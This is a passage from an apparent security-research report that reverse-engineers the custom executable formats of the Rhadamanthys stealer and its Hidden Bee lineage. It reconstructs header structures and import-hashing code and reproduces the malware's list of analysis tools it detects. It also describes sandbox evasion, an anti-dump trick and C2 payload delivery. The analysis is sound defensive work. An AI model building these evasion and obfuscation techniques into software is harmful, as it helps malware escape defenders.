is used for the modules that are unpacked by the Stage 2 main component (that is in the\r\nRS format described above). The HS format may also be used for the modules from the package downloaded from the C2.\r\nExample – Stage 2 unpacks the embedded HS module: “unhook.bin”\r\nFigure 24: The RS module unpacking the HS module from the embedded package\r\nFigure 24: The RS module unpacking the HS module from the embedded package\r\nThe header of the HS format:\r\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\nconst WORD HS_MAGIC = 0x5348;\r\nnamespace hs_exe {\r\nconst size_t HS_DATA_DIR_COUNT = 3;\r\nenum data_dir_id {\r\nHS_IMPORTS = 0,\r\nHS_EXCEPTIONS,\r\nHS_RELOCATIONS = 2\r\n};\r\ntypedef struct {\r\nDWORD dir_va;\r\nDWORD dir_size;\r\n} t_HS_data_dir;\r\ntypedef struct {\r\nDWORD va;\r\nDWORD size;\r\nDWORD raw_addr;\r\n} t_HS_section;\r\ntypedef struct {\r\nDWORD dll_name_rva;\r\nDWORD original_first_thunk;\r\nDWORD first_thunk;\r\n} t_HS_import;\r\ntypedef struct {\r\nWORD magic; // 0x5352\r\nWORD machine_id;\r\nWORD sections_count;\r\nWORD hdr_size;\r\nDWORD entry_point;\r\nDWORD module_size;\r\nhttps://research.checkpoint.com/2023/from-hidden-bee-to-rhadamanthys-the-evolution-of-custom-executable-formats/\r\nPage 13 of 43\n\nDWORD unk1;\r\nDWORD module_base_high;\r\nDWORD module_base_low;\r\nDWORD unk2;\r\nt_HS_data_dir data_dir[HS_DATA_DIR_COUNT];\r\nt_HS_section sections[SECTIONS_COUNT];\r\n} t_HS_format;\r\n};\r\nconst WORD HS_MAGIC = 0x5348; namespace hs_exe { const size_t HS_DATA_DIR_COUNT = 3; enum data_dir_id {\r\nHS_IMPORTS = 0, HS_EXCEPTIONS, HS_RELOCATIONS = 2 }; typedef struct { DWORD dir_va; DWORD dir_size; }\r\nt_HS_data_dir; typedef struct { DWORD va; DWORD size; DWORD raw_addr; } t_HS_section; typedef struct { DWORD\r\ndll_name_rva; DWORD original_first_thunk; DWORD first_thunk; } t_HS_import; typedef struct { WORD magic; //\r\n0x5352 WORD machine_id; WORD sections_count; WORD hdr_size; DWORD entry_point; DWORD module_size;\r\nDWORD unk1; DWORD module_base_high; DWORD module_base_low; DWORD unk2; t_HS_data_dir\r\ndata_dir[HS_DATA_DIR_COUNT]; t_HS_section sections[SECTIONS_COUNT]; } t_HS_format; };\r\nconst WORD HS_MAGIC = 0x5348;\r\nnamespace hs_exe {\r\nconst size_t HS_DATA_DIR_COUNT = 3;\r\n enum data_dir_id {\r\n HS_IMPORTS = 0,\r\n HS_EXCEPTIONS,\r\n HS_RELOCATIONS = 2\r\n };\r\n typedef struct {\r\n DWORD dir_va;\r\n DWORD dir_size;\r\n } t_HS_data_dir;\r\n typedef struct {\r\n DWORD va;\r\n DWORD size;\r\n DWORD raw_addr;\r\n } t_HS_section;\r\n typedef struct {\r\n DWORD dll_name_rva;\r\n DWORD original_first_thunk;\r\n DWORD first_thunk;\r\n } t_HS_import;\r\n typedef struct {\r\n WORD magic; // 0x5352\r\n WORD machine_id;\r\n WORD sections_count;\r\n WORD hdr_size;\r\n DWORD entry_point;\r\n DWORD module_size;\r\n DWORD unk1;\r\n DWORD module_base_high;\r\n DWORD module_base_low;\r\n DWORD unk2;\r\n t_HS_data_dir data_dir[HS_DATA_DIR_COUNT];\r\n t_HS_section sections[SECTIONS_COUNT];\r\n } t_HS_format;\r\n};\r\nhttps://research.checkpoint.com/2023/from-hidden-bee-to-rhadamanthys-the-evolution-of-custom-executable-formats/\r\nPage 14 of 43\n\nSome of the fields of the header were rearranged, yet this format is not that different from the previous one. One subtle\r\ndifference is that this module allows for storing the original Module Base; in the RS format equivalent field does not exist,\r\nand 0 is used as a default base.\r\nIn some aspects, the HS format is simpler than the former one. For example, the import table is implemented exactly like in\r\nthe Hidden Bee’s NE format, which resembles more of the one typical for PE. In the RS format, the names of imported\r\nfunctions are erased and loaded by hashes. Here, the original strings are preserved.\r\nThe complete converter of the HS format is available here:\r\nhttps://github.com/hasherezade/hidden_bee_tools/blob/master/bee_lvl2_converter/hs_exe.cpp\r\nRhadamanthys’ latest format: XS\r\nRecently observed samples of Rhadamanthys (version 0.4.5 and higher) bring another update to the custom formats.\r\nThe  RS  format, as well as the  HS , are replaced by a reworked version with an  XS  magic. This new format has two\r\nvariants.\r\nThe first set of components that makes up Stage 2 of the malware (shipped in the initial binary) comes in a format that we\r\ndenote as XS1. As we learn later, there is another variant with the same magic but with a slightly modified header. It is used\r\nfor the Stage 3, which is downloaded from the C2: containing the main stealer component and its submodules. The latter\r\nformat we denote as XS2.\r\nUnpacking the custom format\r\nAnalogously to the previous case, let’s start with an overview of how to obtain the first custom module. We can jump right\r\ninto the interesting offsets by tracing the Rhadamanthys Stage 1 PE with Tiny Tracer. The resulting tracelog is\r\navailable here.\r\nThis time, before the vital part is unpacked, the main executable examines its environment by enumerating running\r\nprocesses and comparing them against the list of known analysis tools:\r\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\nprocexp.exe\r\nprocexp64.exe\r\ntcpview.exe\r\ntcpview64.exe\r\nProcmon.exe\r\nProcmon64.exe\r\nvmmap.exe\r\nvmmap64.exe\r\nportmon.exe\r\nprocesslasso.exe\r\nWireshark.exe\r\nFiddler Everywhere.exe\r\nFiddler.exe\r\nida.exe\r\nida64.exe\r\nImmunityDebugger.exe\r\nWinDump.exe\r\nx64dbg.exe\r\nhttps://research.checkpoint.com/2023/from-hidden-bee-to-rhadamanthys-the-evolution-of-custom-executable-formats/\r\nPage 15 of 43\n\nx32dbg.exe\r\nOllyDbg.exe\r\nProcessHacker.exe\r\nidaq64.exe\r\nautoruns.exe\r\ndumpcap.exe\r\nde4dot.exe\r\nhookexplorer.exe\r\nilspy.exe\r\nlordpe.exe\r\ndnspy.exe\r\npetools.exe\r\nautorunsc.exe\r\nresourcehacker.exe\r\nfilemon.exe\r\nregmon.exe\r\nwindanr.exe\r\nprocexp.exe procexp64.exe tcpview.exe tcpview64.exe Procmon.exe Procmon64.exe vmmap.exe vmmap64.exe\r\nportmon.exe processlasso.exe Wireshark.exe Fiddler Everywhere.exe Fiddler.exe ida.exe ida64.exe ImmunityDebugger.exe\r\nWinDump.exe x64dbg.exe x32dbg.exe OllyDbg.exe ProcessHacker.exe idaq64.exe autoruns.exe dumpcap.exe de4dot.exe\r\nhookexplorer.exe ilspy.exe lordpe.exe dnspy.exe petools.exe autorunsc.exe resourcehacker.exe filemon.exe regmon.exe\r\nwindanr.exe\r\nprocexp.exe\r\nprocexp64.exe\r\ntcpview.exe\r\ntcpview64.exe\r\nProcmon.exe\r\nProcmon64.exe\r\nvmmap.exe\r\nvmmap64.exe\r\nportmon.exe\r\nprocesslasso.exe\r\nWireshark.exe\r\nFiddler Everywhere.exe\r\nFiddler.exe\r\nida.exe\r\nida64.exe\r\nImmunityDebugger.exe\r\nWinDump.exe\r\nx64dbg.exe\r\nx32dbg.exe\r\nOllyDbg.exe\r\nProcessHacker.exe\r\nidaq64.exe\r\nautoruns.exe\r\ndumpcap.exe\r\nde4dot.exe\r\nhookexplorer.exe\r\nilspy.exe\r\nlordpe.exe\r\ndnspy.exe\r\npetools.exe\r\nautorunsc.exe\r\nresourcehacker.exe\r\nfilemon.exe\r\nhttps://research.checkpoint.com/2023/from-hidden-bee-to-rhadamanthys-the-evolution-of-custom-executable-formats/\r\nPage 16 of 43\n\nregmon.exe\r\nwindanr.exe\r\nIf any process from the list is detected, the sample exits.\r\nOtherwise, it proceeds by unpacking the next stage shellcode, which is very similar to the one used by the previous version.\r\nNext, it redirects the execution there. As we can see from the TinyTracer tracelog, the first shellcode is called at\r\nRVA 0x2459:\r\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\n2459;called: ?? [11790000+0]\r\n\u003e 11790000+2fe;kernel32.LocalAlloc\r\n\u003e 11790000+ba;kernel32.LocalAlloc\r\n\u003e 11790000+260;kernel32.LocalFree\r\n\u003e 11790000+34c;kernel32.VirtualAlloc\r\n\u003e 11790000+3a4;kernel32.VirtualProtect\r\n\u003e 11790000+3bb;kernel32.LocalFree\r\n\u003e 11790000+52;called: ?? [f991000+88]\r\n\u003e f991000+80;called: ?? [f995000+d4d]\r\n\u003e f995000+d58;called: ?? [f998000+0]\r\n\u003e f998000+ca;called: ?? [f995000+d5d]\r\n2459;called: ?? [11790000+0] \u003e 11790000+2fe;kernel32.LocalAlloc \u003e 11790000+ba;kernel32.LocalAlloc \u003e\r\n11790000+260;kernel32.LocalFree \u003e 11790000+34c;kernel32.VirtualAlloc \u003e 11790000+3a4;kernel32.VirtualProtect \u003e\r\n11790000+3bb;kernel32.LocalFree \u003e 11790000+52;called: ?? [f991000+88] \u003e f991000+80;called: ?? [f995000+d4d] \u003e\r\nf995000+d58;called: ?? [f998000+0] \u003e f998000+ca;called: ?? [f995000+d5d]\r\n2459;called: ?? [11790000+0]\r\n\u003e 11790000+2fe;kernel32.LocalAlloc\r\n\u003e 11790000+ba;kernel32.LocalAlloc\r\n\u003e 11790000+260;kernel32.LocalFree\r\n\u003e 11790000+34c;kernel32.VirtualAlloc\r\n\u003e 11790000+3a4;kernel32.VirtualProtect\r\n\u003e 11790000+3bb;kernel32.LocalFree\r\n\u003e 11790000+52;called: ?? [f991000+88]\r\n\u003e f991000+80;called: ?? [f995000+d4d]\r\n\u003e f995000+d58;called: ?? [f998000+0]\r\n\u003e f998000+ca;called: ?? [f995000+d5d]\r\nFurther on, there is a transition to a region allocated from within the first shellcode. Again, we can observe those transitions\r\nunder the debugger.\r\nFirst, setting the breakpoint at RVA 0x2459 in the main sample, we can find the shellcode being called:\r\nFigure 25: The Stage 1 module redirecting the execution into the intermediary shellcode\r\nFigure 25: The Stage 1 module redirecting the execution into the intermediary shellcode\r\nThe dumped memory region: 806821eb9bb441addc2186d6156c57bf\r\nNot much about the functionality of this shellcode has changed compared to the previous version. Once again, it is\r\nresponsible for unpacking the next stage and redirecting the execution there. We can dump the raw XS module right after it\r\nis decompressed:\r\nFigure 26: The decompression function within the shellcode reveals the module in the XS format\r\nFigure 26: The decompression function within the shellcode reveals the module in the XS format\r\nhttps://research.checkpoint.com/2023/from-hidden-bee-to-rhadamanthys-the-evolution-of-custom-executable-formats/\r\nPage 17 of 43\n\nWe’ll examine the dumped module later.\r\nExample of the dumped XS module: 9f0bb1689df57c3c25d3d488bf70a1fa\r\nThe XS format: Variant 1\r\nAs mentioned earlier, there are two slightly different variants of the XS format. Let’s start with the first one used for the\r\ninitial set of components, including the module we unpacked in the section above.\r\nThe reconstructed structure of the header:\r\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\nstruct xs_section\r\n{\r\n_DWORD rva;\r\n_DWORD raw;\r\n_DWORD size;\r\n_DWORD flags;\r\n};\r\nstruct xs1_data_dir\r\n{\r\n_DWORD size;\r\n_DWORD rva;\r\n};\r\nstruct xs1_format\r\n{\r\n_WORD magic;\r\n_WORD nt_magic;\r\n_WORD sections_count;\r\n_WORD imp_key;\r\n_WORD header_size;\r\n_WORD unk_3;\r\n_DWORD module_size;\r\n_DWORD entry_point;\r\nxs1_data_dir imports;\r\nxs1_data_dir exceptions;\r\nxs1_data_dir relocs;\r\nxs_section sections[SECTIONS_COUNT];\r\n};\r\nstruct xs1_import\r\n{\r\n_DWORD dll_name_rva;\r\nhttps://research.checkpoint.com/2023/from-hidden-bee-to-rhadamanthys-the-evolution-of-custom-executable-formats/\r\nPage 18 of 43\n\n_DWORD first_thunk;\r\n_DWORD original_first_thunk;\r\n_BYTE obf_dll_len[4];\r\n};\r\nstruct xs_section { _DWORD rva; _DWORD raw; _DWORD size; _DWORD flags; }; struct xs1_data_dir { _DWORD\r\nsize; _DWORD rva; }; struct xs1_format { _WORD magic; _WORD nt_magic; _WORD sections_count; _WORD\r\nimp_key; _WORD header_size; _WORD unk_3; _DWORD module_size; _DWORD entry_point; xs1_data_dir imports;\r\nxs1_data_dir exceptions; xs1_data_dir relocs; xs_section sections[SECTIONS_COUNT]; }; struct xs1_import { _DWORD\r\ndll_name_rva; _DWORD first_thunk; _DWORD original_first_thunk; _BYTE obf_dll_len[4]; };\r\nstruct xs_section\r\n{\r\n _DWORD rva;\r\n _DWORD raw;\r\n _DWORD size;\r\n _DWORD flags;\r\n};\r\nstruct xs1_data_dir\r\n{\r\n _DWORD size;\r\n _DWORD rva;\r\n};\r\nstruct xs1_format\r\n{\r\n _WORD magic;\r\n _WORD nt_magic;\r\n _WORD sections_count;\r\n _WORD imp_key;\r\n _WORD header_size;\r\n _WORD unk_3;\r\n _DWORD module_size;\r\n _DWORD entry_point;\r\n xs1_data_dir imports;\r\n xs1_data_dir exceptions;\r\n xs1_data_dir relocs;\r\n xs_section sections[SECTIONS_COUNT];\r\n};\r\nstruct xs1_import\r\n{\r\n _DWORD dll_name_rva;\r\n _DWORD first_thunk;\r\n _DWORD original_first_thunk;\r\n _BYTE obf_dll_len[4];\r\n};\r\nAs before, the module is decompressed and then mapped by the intermediary shellcode:\r\nAfter remapping the XS module from the raw format to the virtual one, it redirects the execution to the module’s Entry\r\nPoint.\r\nThe overview of the start function of the XS module is shown below.\r\nFigure 28: The start function of the XS module.\r\nFigure 28: The start function of the XS module.\r\nCompared to the previously used RS format, there are several changes besides the simple rearrangements of the fields and\r\nthe addition of some new fields.\r\nThe first modification concerns how the format is recognized as either 32-bit or 64-bit. In the PE format, there are two\r\ndifferent fields that we can use to distinguish between them. The first one is the “Machine” field in the FileHeader. The other\r\nis “Magic” in the Optional Header. The copy of the “Machine” field was used previously in the Hidden Bee and\r\nRhadamanthys custom formats. This time the author replaced it with the alternative and used the “Optional Header →\r\nMagic”.\r\nhttps://research.checkpoint.com/2023/from-hidden-bee-to-rhadamanthys-the-evolution-of-custom-executable-formats/\r\nPage 19 of 43\n\nBut there are other, more meaningful changes further on. First of all, a new obfuscation is applied. The names of the DLLs\r\nare no longer in plaintext but processed by a simple algorithm. The key is customizable and stored in the header. The\r\ndecoding function is called by a wrapper function of  LoadLibaryA , so the deobfuscation takes place just before the needed\r\nDLL is about to be loaded:\r\nFigure 29: A wrapper function called during the loading of the module’s imports\r\nFigure 29: A wrapper function called during the loading of the module’s imports\r\nThe decoding of the name is done by a custom, XOR-based algorithm:\r\nFigure 30: A function decoding DLL names\r\nFigure 30: A function decoding DLL names\r\nThe imported functions are still loaded by their checksums (just like in the RS format), but the checksum algorithm has\r\nchanged. This is the implementation from the RS module:\r\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\nnamespace rs_exe {\r\nDWORD calc_checksum(BYTE* a1)\r\n{\r\nBYTE* ptr;\r\nunsigned int result;\r\nchar i;\r\nint v4;\r\nint v5;\r\nptr = a1;\r\nresult = 0;\r\nfor (i = *a1; i; ++ptr)\r\n{\r\nv4 = (result \u003e\u003e 13) | (result \u003c\u003c 19);\r\nv5 = i;\r\ni = ptr[1];\r\nresult = v4 + v5;\r\n}\r\nreturn result;\r\n}\r\n};\r\nnamespace rs_exe { DWORD calc_checksum(BYTE* a1) { BYTE* ptr; unsigned int result; char i; int v4; int v5; ptr = a1;\r\nresult = 0; for (i = *a1; i; ++ptr) { v4 = (result \u003e\u003e 13) | (result \u003c\u003c 19); v5 = i; i = ptr[1]; result = v4 + v5; } return result; } };\r\nnamespace rs_exe {\r\n DWORD calc_checksum(BYTE* a1)\r\n {\r\n BYTE* ptr;\r\n unsigned int result;\r\n char i;\r\n int v4;\r\n int v5;\r\nhttps://research.checkpoint.com/2023/from-hidden-bee-to-rhadamanthys-the-evolution-of-custom-executable-formats/\r\nPage 20 of 43\n\nptr = a1;\r\n result = 0;\r\n for (i = *a1; i; ++ptr)\r\n {\r\n v4 = (result \u003e\u003e 13) | (result \u003c\u003c 19);\r\n v5 = i;\r\n i = ptr[1];\r\n result = v4 + v5;\r\n }\r\n return result;\r\n }\r\n};\r\nIn the XS format, it was replaced with a different one:\r\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\nnamespace xs_exe {\r\nint calc_checksum(BYTE* name_ptr, int imp_key)\r\n{\r\nwhile (*name_ptr)\r\n{\r\nint val = (unsigned __int8)*name_ptr++ ^ (16777619 * imp_key);\r\nimp_key = val;\r\n}\r\nreturn imp_key;\r\n}\r\n};\r\nnamespace xs_exe { int calc_checksum(BYTE* name_ptr, int imp_key) { while (*name_ptr) { int val = (unsigned\r\n__int8)*name_ptr++ ^ (16777619 * imp_key); imp_key = val; } return imp_key; } };\r\nnamespace xs_exe {\r\nint calc_checksum(BYTE* name_ptr, int imp_key)\r\n {\r\n while (*name_ptr)\r\n {\r\n int val = (unsigned __int8)*name_ptr++ ^ (16777619 * imp_key);\r\n imp_key = val;\r\n }\r\n return imp_key;\r\n }\r\n};\r\nThe new algorithm was also enhanced by the introduction of an additional key that can be supplied by the caller.\r\nOnce again, the checksums are stored in places of the thunks, but their position got slightly modified. In the  RS  format, the\r\nchecksums were stored at  PIMAGE_IMPORT_BY_NAME . Now they are stored at  PIMAGE_IMPORT_BY_NAME  →  Name , so it is\r\nshifted by one  WORD .\r\nAs for the key, it uses  imp_key  stored in the XS header, and it is the same as for decoding the DLL names. As the DLL\r\nname is now obfuscated, another field was added to store its original length. The author also decided to obfuscate this value\r\nwith the help of another simple algorithm.\r\nThe full imports loading function of the XS format looks like this:\r\nhttps://research.checkpoint.com/2023/from-hidden-bee-to-rhadamanthys-the-evolution-of-custom-executable-formats/\r\nPage 21 of 43\n\nFigure 31: Imports loading of the XS module.\r\nFigure 31: Imports loading of the XS module.\r\nThe other change introduced in the new format is a custom relocations table. In the previous format, as well as in the formats\r\nused by the Hidden Bee, relocations were the only component identical to the one used by the PE. This time, the author\r\ndecided to change it and created his own modified way of relocating the module.\r\nFigure 32: The function applying relocations for the XS module\r\nFigure 32: The function applying relocations for the XS module\r\nThe stored relocations table looks very different than the one used by PE. Reconstruction of the structures used:\r\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\nstruct xs_relocs_block\r\n{\r\nDWORD page_rva;\r\nDWORD entries_count;\r\n};\r\nstruct xs_relocs // the main structure, pointed by the data directory RVA\r\n{\r\nDWORD count;\r\nxs_relocs_block blocks[1];\r\n};\r\n// after the list of reloc blocks, there are entries in the following format:\r\nstruct xs_reloc_entry {\r\nBYTE field1_hi;\r\nBYTE mid;\r\nBYTE field2_low;\r\n};\r\nstruct xs_relocs_block { DWORD page_rva; DWORD entries_count; }; struct xs_relocs // the main structure, pointed by the\r\ndata directory RVA { DWORD count; xs_relocs_block blocks[1]; }; // after the list of reloc blocks, there are entries in the\r\nfollowing format: struct xs_reloc_entry { BYTE field1_hi; BYTE mid; BYTE field2_low; };\r\nstruct xs_relocs_block\r\n{\r\n DWORD page_rva;\r\n DWORD entries_count;\r\n};\r\nstruct xs_relocs // the main structure, pointed by the data directory RVA\r\n{\r\n DWORD count;\r\n xs_relocs_block blocks[1];\r\n};\r\n// after the list of reloc blocks, there are entries in the following format:\r\nstruct xs_reloc_entry {\r\n BYTE field1_hi;\r\n BYTE mid;\r\n BYTE field2_low;\r\n};\r\nhttps://research.checkpoint.com/2023/from-hidden-bee-to-rhadamanthys-the-evolution-of-custom-executable-formats/\r\nPage 22 of 43\n\nOffsets of the fields to be relocated are stored in pairs and compressed into 3 bytes.\r\nFirst offset from the pair:\r\nFigure 33: Relocation offsets are stored in pairs within 3 bytes. The first pair consists of the first byte and the\r\nlast nibble of the second byte.\r\nSecond offset from the pair:\r\nFigure 34: Relocation offsets are stored in pairs within 3 bytes. The second pair consists of the first nibble of\r\nthe second byte and the third byte.\r\nThe RVA of the field to be relocated is calculated by  page_rva + offset . There is no default base, so the new module base\r\nis simply added to the field content.\r\nThe complete converter of the XS format is available here:\r\nhttps://github.com/hasherezade/hidden_bee_tools/blob/master/bee_lvl2_converter/xs_exe.cpp\r\nThe XS format: Variant 2\r\nWhen we reach the Stage 3 of the malware and follow the unpacked components that are downloaded from the C2, we once\r\nagain see the familiar XS header revealed in memory:\r\nFigure 35: The next stage module unpacked from the package downloaded from the C2\r\nFigure 35: The next stage module unpacked from the package downloaded from the C2\r\nAlthough at first glance, we may think that we are dealing with an identical format, when we take a closer look, we find that\r\nthe previous converter no longer works. The format has undergone subtle yet significant modifications. The first thing that\r\nwe may notice is that information of whether the module is 32-bit or 64-bit is no longer stored in the header. The first field\r\nafter the XS magic now stores the number of sections. There are also other fields that have been swapped or removed\r\ncompared to the first XS variant. The reconstruction of the header:\r\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\nstruct xs_section\r\nhttps://research.checkpoint.com/2023/from-hidden-bee-to-rhadamanthys-the-evolution-of-custom-executable-formats/\r\nPage 23 of 43\n\n{\r\n_DWORD rva;\r\n_DWORD raw;\r\n_DWORD size;\r\n_DWORD flags; //a section can be skipped if the flag is not set\r\n};\r\nstruct xs2_data_dir\r\n{\r\n_DWORD rva;\r\n_DWORD size;\r\n};\r\nstruct xs2_format\r\n{\r\n_WORD magic;\r\n_WORD sections_count;\r\n_WORD header_size;\r\n_WORD imp_key;\r\n_DWORD module_size;\r\n_DWORD entry_point;\r\n_DWORD entry_point_alt;\r\nxs2_data_dir imports;\r\nxs2_data_dir exceptions;\r\nxs2_data_dir relocs;\r\nxs_section sections[SECTIONS_COUNT];\r\n};\r\nstruct xs2_import\r\n{\r\n_DWORD dll_name_rva;\r\n_DWORD first_thunk;\r\n_DWORD original_first_thunk;\r\n_BYTE obf_dll_len[2];\r\n};\r\nstruct xs_section { _DWORD rva; _DWORD raw; _DWORD size; _DWORD flags; //a section can be skipped if the flag is\r\nnot set }; struct xs2_data_dir { _DWORD rva; _DWORD size; }; struct xs2_format { _WORD magic; _WORD\r\nsections_count; _WORD header_size; _WORD imp_key; _DWORD module_size; _DWORD entry_point; _DWORD\r\nentry_point_alt; xs2_data_dir imports; xs2_data_dir exceptions; xs2_data_dir relocs; xs_section\r\nsections[SECTIONS_COUNT]; }; struct xs2_import { _DWORD dll_name_rva; _DWORD first_thunk; _DWORD\r\noriginal_first_thunk; _BYTE obf_dll_len[2]; };\r\nstruct xs_section\r\n{\r\n _DWORD rva;\r\n _DWORD raw;\r\n _DWORD size;\r\nhttps://research.checkpoint.com/2023/from-hidden-bee-to-rhadamanthys-the-evolution-of-custom-executable-formats/\r\nPage 24 of 43\n\n_DWORD flags; //a section can be skipped if the flag is not set\r\n};\r\nstruct xs2_data_dir\r\n{\r\n _DWORD rva;\r\n _DWORD size;\r\n};\r\nstruct xs2_format\r\n{\r\n _WORD magic;\r\n _WORD sections_count;\r\n _WORD header_size;\r\n _WORD imp_key;\r\n _DWORD module_size;\r\n _DWORD entry_point;\r\n _DWORD entry_point_alt;\r\n xs2_data_dir imports;\r\n xs2_data_dir exceptions;\r\n xs2_data_dir relocs;\r\n xs_section sections[SECTIONS_COUNT];\r\n};\r\nstruct xs2_import\r\n{\r\n _DWORD dll_name_rva;\r\n _DWORD first_thunk;\r\n _DWORD original_first_thunk;\r\n _BYTE obf_dll_len[2];\r\n};\r\nThe Data Directory fields were swapped. In addition, in the import record, the obfuscated length of the DLL name is now\r\nstored as 2 bytes instead of 4 bytes. Some other fields of the XS main header also have been relocated or removed.\r\nAnother detail that has changed is the way sections are mapped from the raw format to virtual. Now, some of the sections\r\ncan be excluded from loading based on the flag in the section’s header.\r\nThis is the trick that the author uses in order to disrupt the dumping of the module from memory. The vital sections are\r\nseparated by inaccessible regions that make reading the continuous memory area difficult.\r\nAside from these few changes, both XS variants are still very similar. They contain the same import resolution, as well as\r\nthe same way of applying relocations.\r\nSimilarities across the formats\r\nIn addition to some fields being swapped or others removed, we can see a large overlap of the discussed formats that doesn’t\r\njust stem from their common predecessor, PE.\r\nAs we can see, the initial part of the header is consistent between Hidden Bee’s NS and Rhadamanthys’ RS and HS formats:\r\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\ntypedef struct {\r\nWORD magic;\r\nWORD machine_id;\r\nWORD sections_count;\r\nWORD hdr_size;\r\nDWORD entry_point;\r\nDWORD module_size;\r\nhttps://research.checkpoint.com/2023/from-hidden-bee-to-rhadamanthys-the-evolution-of-custom-executable-formats/\r\nPage 25 of 43\n\n//...\r\n}\r\ntypedef struct { WORD magic; WORD machine_id; WORD sections_count; WORD hdr_size; DWORD entry_point;\r\nDWORD module_size; //... }\r\n typedef struct {\r\n WORD magic;\r\n WORD machine_id;\r\n WORD sections_count;\r\n WORD hdr_size;\r\n DWORD entry_point;\r\n DWORD module_size;\r\n//...\r\n}\r\nNext, a minimized version of the Data Directory is used. It contains only a few records – usually Imports and Relocations\r\n(but it may also contain an Exception Table).\r\nAfter the Data Directory, the list of sections follows, which was further minimized by removing the Characteristics field.\r\nOne of the improvements that was introduced in the RS format is the obfuscation of the import names. The original strings\r\nare now replaced by checksums, stored in the place of  PIMAGE_IMPORT_BY_NAME .\r\nThe new XS format is clearly the next stage of evolution. The function names are also loaded by checksums but with an\r\nadditional obfuscation that necessitates using the customizable key stored in the header. In addition, the library names are\r\nnow stored in obfuscated form.\r\nOverall, it is visible that the custom executable formats are subject to continuous evolution. The newly introduced changes\r\nare meant to obfuscate it further and increasingly diverge from the original PE format.\r\nFormat\r\nCustomized PE\r\nheader\r\nCustomized imports\r\nloading\r\nCustomized\r\nrelocations\r\nCustomized exception\r\nhandling\r\nNS ✓ partial x ✓\r\nRS ✓ ✓ x ✓\r\nHS ✓ partial x ✓\r\nXS ✓ ✓ ✓ ✓\r\nThe HS format of Rhadamanthys is the closest to the NS format from Hidden Bee. Below, we can see a comparison of the\r\nheaders:\r\nFigure 37: Highlighted differences between the reconstructed header of the NS format (Hidden Bee) and\r\nthe HS format (Rhadamanthys)\r\nFigure 37: Highlighted differences between the reconstructed header of the NS format (Hidden Bee) and the\r\nHS format (Rhadamanthys)\r\nThe benefits of understanding custom formats\r\nThe main benefit of understanding the custom formats is that it enables us to reconstruct them as PE files. This makes them\r\neasier to analyze, as they can be parsed by standard analysis tools.\r\nIn this section, we review the converted results (PEs) that we obtained and provide an overview of their functionality. We\r\nalso highlight how the equivalent components have changed across the different versions.\r\nLet’s start by comparing the converted Stage 2 modules of the RS and XS1 formats.\r\nThe 2nd stage loader: RS converted\r\nAfter the loading of this module is completed, the execution is redirected to the main function.\r\nAs mentioned earlier (Figure 15), the module depends on data that is passed from Stage 1, namely the compressed package\r\nwith other components and the encrypted configuration, which is protected by the RC4 algorithm.\r\nThe RC4-encrypted block is decrypted at the beginning of the function using the hardcoded key.\r\nFigure 38: The main function of the RS module. The decrypted configuration is passed to the next function.\r\nhttps://research.checkpoint.com/2023/from-hidden-bee-to-rhadamanthys-the-evolution-of-custom-executable-formats/\r\nPage 26 of 43\n\nFigure 38: The main function of the RS module. The decrypted configuration is passed to the next function.\r\nIf the decryption of the configuration is successful, the output block should start with the magic  !RHY . After the\r\nverification, the sample makes sure that there isn’t another instance running by trying to lock the mutex. After both checks\r\nare passed, the config and the compressed package are passed to the next function, where the main functionality of the\r\nmodules is deployed.\r\nAs it turns out, the current module incorporates multiple different features, such as:\r\nEvasion\r\nLoading of the further components from the supplied package\r\nConnecting to the C2 and downloading the next stage\r\nThe URL used to contact the C2 is obtained from the config. It is used to fetch Stage 3, which will be loaded either into the\r\ncurrent process (if run on a 32-bit environment) or into another 64-bit process.\r\nFirst, the deobfuscated URL is stored in another structure that is passed to a function responsible for the HTTP connection:\r\nFigure 39: Setting up the structures used by the C2 communication.\r\nFigure 39: Setting up the structures used by the C2 communication.\r\nBefore the connection is attempted, the malware calls a variety of different environment checks in order to evade sandboxes\r\nand other supervised environments.\r\nFigure 40: The function deploying evasion checks before the connection to the C2 is attempted.\r\nFigure 40: The function deploying evasion checks before the connection to the C2 is attempted.\r\nWhich evasion checks are going to be enabled depends on the flags that were passed from the configuration block\r\n(the  !RHY  format).\r\nFigure 41: The deployed environment checks depend on the flags set in the configuration.\r\nFigure 41: The deployed environment checks depend on the flags set in the configuration.\r\nThe code performing the checks is mostly copied from an open-source utility, Al-Khaser.\r\nThe connection with the C2 is established only if the checks pass.\r\nFigure 42: Inside the function setting up the callbacks executed during the HTTP/S connection.\r\nFigure 42: Inside the function setting up the callbacks executed during the HTTP/S connection.\r\nThe function denoted as  parse_response  is responsible for decoding the next stage that was downloaded from the C2 and\r\nhidden in a media file (JPG). In the current case, the expected output is a package in a custom  !Rex  format, which is a\r\nvirtual filesystem that contains additional components. If the payload is fetched, decoded, and passes validation, the\r\nmalware loads the retrieved components. The way in which it proceeds depends if the main malware executable (that is 32-\r\nbit) is running on a 64-bit or a 32-bit system.\r\nOn a 32-bit system, the next stage is loaded directly into the current process. By following the related part of the code, we\r\ncan conclude that the next stage component is expected to be a shellcode. First, a small data structure is prepared and filled\r\nby all the elements that the shellcode needs to run: a small custom IAT containing the necessary functions, as well as data,\r\nsuch as the RC4 key.\r\nFigure 43: Preparing the data for the shellcode and deploying it.\r\nFigure 43: Preparing the data for the shellcode and deploying it.\r\nIf the malware is executed in a 64-bit environment, it will first redeploy itself in a 64-bit mode. To do so, it needs additional\r\ncomponents fetched from the compressed block.\r\nhttps://research.checkpoint.com/2023/from-hidden-bee-to-rhadamanthys-the-evolution-of-custom-executable-formats/\r\nPage 27 of 43\n\nFigure 44: Execution path for the 64-bit environment: creating named mapping to share information between\r\nthe processes unpacking a DLL to be deployed.\r\nWe can also see 